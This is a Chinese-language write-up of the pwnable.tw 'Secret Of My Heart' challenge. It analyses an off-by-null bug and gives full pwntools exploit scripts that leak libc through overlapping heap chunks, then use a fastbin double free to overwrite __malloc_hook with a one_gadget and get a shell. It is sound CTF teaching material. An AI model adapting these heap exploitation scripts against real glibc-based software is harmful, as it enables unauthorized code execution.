# Pwnable.tw-Secret Of My Heart
> Author: 堇姬Naup
## libc
glibc all in one 中沒有 2.23-0ubuntu5
所以去網路上找libc
https://launchpad.net/ubuntu/xenial/amd64/libc6/2.23-0ubuntu5
把i386載下來
```
dpkg -X libc6_2.23-0ubuntu5_amd64.deb .
```
在libs裡面就有ld跟libc了
patchelf直接patch上去
```
patchelf --set-interpreter ld-2.23.so secret_of_my_heart
patchelf --replace-needed libc.so.6 ./libc-2.23.so secret_of_my_heart
```
## IDA分析
### main
### add+ADD
```c
int add()
{
int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 size; // [rsp+8h] [rbp-8h]
for ( i = 0; ; ++i )
{
if ( i > 99 )
return puts("Fulled !!");
if ( !*(_QWORD *)(unk_202018 + 48LL * i + 40) )
break;
}
printf("Size of heart : ");
size = (int)read_f();
if ( size > 0x100 )
return puts("Too big !");
ADD((size_t *)(unk_202018 + 48LL * i), size);
return puts("Done !");
}
```
```c
_BYTE *__fastcall ADD(size_t *chunk, size_t size)
{
_BYTE *result; // rax
*chunk = size;
printf("Name of heart :");
read_F(chunk + 1, 0x20u);
chunk[5] = (size_t)malloc(size);
if ( !chunk[5] )
{
puts("Allocate Error !");
exit(0);
}
printf("secret of my heart :");
result = (_BYTE *)(chunk[5] + (int)read_F((void *)chunk[5], size));
*result = 0;
return result;
}
```
可以malloc 0x100內的size
先輸入name,再輸入heart(存在malloc heap中),這裡多補了個NULL byte,有off by null
```
pwndbg> x/30xg 0x5fd3388cb0d0
0x5fd3388cb0d0: 0x0000000065656565 0x0000000000000021
0x5fd3388cb0e0: 0x6262626261616161 0x6464646463636363
0x5fd3388cb0f0: 0x6666666665656565 0x0000000000020f00
```
### show
```c
int show()
{
unsigned int idx; // [rsp+Ch] [rbp-4h]
printf("Index :");
idx = read_f();
if ( idx > 0x63 )
{
puts("Out of bound !");
exit(-2);
}
if ( !*(_QWORD *)(unk_202018 + 48LL * idx + 0x28) )
return puts("No such heap !");
printf("Index : %d\n", idx);
printf("Size : %lu\n", *(_QWORD *)(unk_202018 + 48LL * idx));
printf("Name : %s\n", (const char *)(unk_202018 + 48LL * idx + 8));
return printf("Secret : %s\n", *(const char **)(unk_202018 + 48LL * idx + 40));
}
```
他會顯示該chunk上的資訊
可以拿來leaklibc之類的感覺
### delete + Delete
```c
int delete()
{
unsigned int idx; // [rsp+Ch] [rbp-4h]
printf("Index :");
idx = read_f();
if ( idx > 0x63 )
{
puts("Out of bound !");
exit(-2);
}
if ( !*(_QWORD *)(unk_202018 + 48LL * idx + 40) )
return puts("No such heap !");
Delete(unk_202018 + 48LL * idx);
return puts("Done !");
}
```
```c
__int64 __fastcall Delete(__int64 chunk)
{
__int64 result; // rax
*(_QWORD *)chunk = 0LL;
memset((void *)(chunk + 8), 0, 0x20uLL);
free(*(void **)(chunk + 40));
result = chunk;
*(_QWORD *)(chunk + 40) = 0LL;
return result;
}
```
會去free對應的index,他會去清空heap arr,下次malloc就會拿到空的那塊重新寫chunk address,所以沒有double free
## 分析
有off by null就可以先打一些overlapping之類的了
不過在這之前先搞leak libc
可以打overlapping,讓一塊chunk活在free chunk中,那個位置是fd跟bk,這樣就可以拿到libc了
malloc 0x38 -> 拿到chunk0 0x40
malloc一塊0x100 -> 拿到chunk1 0x110 -> 之後會被蓋成0x100先預留prev size
再malloc一塊0x100 -> 拿到 chunk2 0x110
先free chunk 1
再free chunk 0
之後malloc chunk 0
並off by null蓋chunk 0 0x111為0x100
接下來
之後malloc 0x88 -> chunk 3 0x90
malloc 0x40 -> chunk 4 0x50
之後free掉0x88
free掉chunk 2
chunk 2 會去 merge前面一整塊
並進入到top chunk
但是卻存活著一塊chunk 4位於free之中
所以就malloc 0x80 -> chunk 5
malloc 0x100 -> chunk 6
多malloc一塊0x30,不然chunk 6會被丟到top chunk
剛剛好chunk 4 跟 chunk 6 fd 重疊
去free chunk 6後印出就會是libc
以上就是off by one製造overlapping來leak libc的過程
```python
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *
def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)
x64_env()
REMOTE_LOCAL=input("local?(y/n):")
if REMOTE_LOCAL=="y":
r=process('./secret_of_my_heart')
debug_init()
else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10302")
REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])
r=remote(REMOTE_IP,REMOTE_PORT)
### attach
if input('attach?(y/n)') == 'y':
p(r)
### heap I/O
def add(size,name,secret):
sla(b'Your choice :',b'1')
sla(b'Size of heart : ',str(size).encode())
sla(b'Name of heart :',name)
sla(b'secret of my heart :',secret)
def show(idx):
sla(b'Your choice :',b'2')
sla(b'Index :',str(idx).encode())
def delete(idx):
sla(b'Your choice :',b'3')
sla(b'Index :',str(idx).encode())
### exploit
### leaklibc
add(0x38,b'000',b'aaa')
add(0x100,b'111',b'a'*0xf0+p64(0x100))
add(0x100,b'222',b'aaa')
delete(1)
delete(0)
add(0x38,b'000',b'a'*0x38)
add(0x88,b'111',b'aaa')
add(0x40,b'333',b'aaa')
delete(1)
delete(2)
add(0x80,b'111',b'aaa')
add(0x100,b'222',b'aaa')
add(0x30,b'444',b'aaa')
delete(2)
show(3)
rcu(b'Secret : ')
leaklibc = u64(r.recv(6).ljust(8,b'\x00'))
libcoffset = 0x3c4b78
libcbase = leaklibc - libcoffset
NAUPINFO(b'leaklibc',hex(leaklibc))
NAUPINFO(b'libcbase',hex(libcbase))
### interactive
ita()
```
接下來要製造任意寫,透過重疊來double free
來寫malloc_hook,觀察一下上方可以找到很多的7...,可以拿來做fake chunk

把前面留在free chunk 的overlapping chunk,調整成malloc 0x60(也就是chunk 4)
先 malloc 一塊 0x60 -> chunk 7 (與chunk 4 完全重疊)
接下來malloc一塊 0x60 -> chunk 8
這兩塊會從unsorted bin割出來
接下來free chunk 7
free chunk 8
再free chunk 4
就會有fastbin
```
fastbin[0x70] -> chunk 7 -> chunk 8 -> chunk 7 -> ...
```
接下來malloc一塊0x60 將 secret改成fake chunk
再來malloc 兩次後
再malloc一次就可以拿到fake chunk 了
```python
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *
def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)
x64_env()
REMOTE_LOCAL=input("local?(y/n):")
if REMOTE_LOCAL=="y":
r=process('./secret_of_my_heart')
debug_init()
else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10302")
REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])
r=remote(REMOTE_IP,REMOTE_PORT)
### attach
if input('attach?(y/n)') == 'y':
p(r)
### heap I/O
def add(size,name,secret):
sla(b'Your choice :',b'1')
sla(b'Size of heart : ',str(size).encode())
sla(b'Name of heart :',name)
sla(b'secret of my heart :',secret)
def show(idx):
sla(b'Your choice :',b'2')
sla(b'Index :',str(idx).encode())
def delete(idx):
sla(b'Your choice :',b'3')
sla(b'Index :',str(idx).encode())
### exploit
### leaklibc
add(0x38,b'000',b'aaa')
add(0x100,b'111',b'a'*0xf0+p64(0x100))
add(0x100,b'222',b'aaa')
delete(1)
delete(0)
add(0x38,b'000',b'a'*0x38)
add(0x88,b'111',b'aaa')
add(0x60,b'333',b'aaa')
delete(1)
delete(2)
add(0x80,b'111',b'aaa')
add(0x100,b'222',b'aaa')
add(0x20,b'444',b'aaa')
delete(2)
show(3)
rcu(b'Secret : ')
leaklibc = u64(r.recv(6).ljust(8,b'\x00'))
libcoffset = 0x3c4b78
libcbase = leaklibc - libcoffset
### aaw
libc_mallochook = libcbase + 0x3c4b10
libc_onegadget = libcbase
fake_chunk = libc_mallochook - 0x23
add(0x60,b'222',b'aaa')
add(0x60,b'555',b'aaa')
delete(2)
delete(5)
delete(3)
# chunk 0 -> chunk 1 -> chunk 0 -> ...
add(0x60,b'222',p64(fake_chunk)) # chunk 0
add(0x60,b'333',b'bbb') # chunk 1
add(0x60,b'555',b'bbb') # chunk 0
add(0x60,b'666',b'aaaaaaa') # malloc_hook - 0x23
### INFO
NAUPINFO(b'leaklibc',hex(leaklibc))
NAUPINFO(b'libcbase',hex(libcbase))
NAUPINFO(b'libc_MALLOCHOOK',hex(libc_mallochook))
### interactive
ita()
```
這邊我們將malloc hook改成onegadget
然而直接malloc無法觸發onegadget條件
所以可以利用之前的方法
用 double free 來觸發malloc hook上的onegadget
get shell
### exploit
```python=
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *
def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)
x64_env()
REMOTE_LOCAL=input("local?(y/n):")
if REMOTE_LOCAL=="y":
r=process('./secret_of_my_heart')
debug_init()
else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10302")
REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])
r=remote(REMOTE_IP,REMOTE_PORT)
### attach
if input('attach?(y/n)') == 'y':
p(r)
### heap I/O
def add(size,name,secret):
sla(b'Your choice :',b'1')
sla(b'Size of heart : ',str(size).encode())
sla(b'Name of heart :',name)
sla(b'secret of my heart :',secret)
def show(idx):
sla(b'Your choice :',b'2')
sla(b'Index :',str(idx).encode())
def delete(idx):
sla(b'Your choice :',b'3')
sla(b'Index :',str(idx).encode())
### exploit
### leaklibc
add(0x38,b'000',b'aaa')
add(0x100,b'111',b'a'*0xf0+p64(0x100))
add(0x100,b'222',b'aaa')
delete(1)
delete(0)
add(0x38,b'000',b'a'*0x38)
add(0x88,b'111',b'aaa')
add(0x60,b'333',b'aaa')
delete(1)
delete(2)
add(0x80,b'111',b'aaa')
add(0x100,b'222',b'aaa')
add(0x20,b'444',b'aaa')
delete(2)
show(3)
rcu(b'Secret : ')
leaklibc = u64(r.recv(6).ljust(8,b'\x00'))
libcoffset = 0x3c3b78 #0x3c4b78
libcbase = leaklibc - libcoffset
print('***success leak libc***')
### aaw
libc_mallochook = libcbase + 0x3c3b10
libc_onegadget = libcbase + 0xef6c4
fake_chunk = libc_mallochook - 0x23
add(0x60,b'222',b'aaa')
add(0x60,b'555',b'aaa')
delete(2)
delete(5)
delete(3)
print('***success double free***')
# chunk 0 -> chunk 1 -> chunk 0 -> ...
add(0x60,b'222',p64(fake_chunk)) # chunk 0
add(0x60,b'333',b'bbb') # chunk 1
add(0x60,b'555',b'bbb') # chunk 0
add(0x60,b'777',b'a'*0x13+p64(libc_onegadget)) # malloc_hook - 0x23
print('***success write onegadget***')
delete(5)
delete(2)
### INFO
NAUPINFO(b'leaklibc',hex(leaklibc))
NAUPINFO(b'libcbase',hex(libcbase))
NAUPINFO(b'libc_MALLOCHOOK',hex(libc_mallochook))
NAUPINFO(b'fakechunk',hex(fake_chunk))
NAUPINFO(b'onegadget',hex(libc_onegadget))
### interactive
ita()
```
### 後記
終於2000分了
